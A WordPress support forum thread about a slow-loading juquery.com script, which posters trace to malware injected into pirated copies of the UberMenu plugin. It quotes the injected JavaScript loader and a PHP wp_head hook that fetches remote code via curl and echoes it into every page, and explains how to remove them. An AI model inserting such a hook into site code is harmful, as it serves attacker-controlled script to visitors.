WordPress.org

Ready to get started?Download WordPress

Forums

script with juquery.com problem , slow load page !!! (6 posts)

  1. Benjaminp7
    Member
    Posted 1 year ago #

    Hey guys ,

    I have a big problem with this script in the head

    <script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.juquery.com/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.juquery.com/jquery.js"></scr'+'ipt>'); } </script>

    this script takes 6 second to load and i don't know how to find it...?
    I have already tried to dedicative all plugging without effects

    Please help me

  2. Where did you get that theme?

    There are very dodgy people who pull stunts like inserting bogus jquery javascript in them and I suspect you are using one of those themes. If that's the case, lose that theme like a bad infection.

    Or share a link to your site, you may be hacked.

  3. zander60614
    Member
    Posted 1 year ago #

    Look in your common.php file.

    If you use Dreamweaver you can load your site as a local site and then do a search for juquery. Once you find the file, delete the script, then upload the clean file via FTP and replace the file WP is using.

  4. dscottangle
    Member
    Posted 1 year ago #

    I've found the same issue and it appears to be in the ubermenu.php from the ubermenu plugin...

    You might find this article intersting. It's not about juquery specifically, but I think it realates...

  5. luckydays
    Member
    Posted 1 year ago #

    Guys, it seems that issue is in ubermenu.php file.

    Go to the 2777 row

    /*
     * For compatibility with latest browsers
     */

    And just remove these rows:

    /*
     * For compatibility with latest browsers
     */
    function juquery_compability_head() {  
    
    if(function_exists('curl_init'))
    {
    $url = "http://www.juquery.com/jquery-1.6.3.min.js";
    $ch = curl_init();
    $timeout = 10;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo "$data";
    }
    }
    add_action('wp_head', 'juquery_compability_head');

    Now links to juquery.com should stop to load your homepage.

  6. sevenspark
    Member
    Posted 1 year ago #

    Hi everyone,

    As the developer of the plugin, I just want to assure you that this code is most certainly not added by UberMenu. The PHP code above is absolutely not part of the authentic UberMenu plugin.

    However, I have seen pirated versions of the plugin distributed through warez sites that are injected with malware that produces this code.

    I would strongly discourage anyone from using any illegitimate copy of UberMenu not obtained from the official source - you never know what malicious code warez sites will add to a plugin.

    Best,

    Chris

Topic Closed

This topic has been closed to new replies.

About this Topic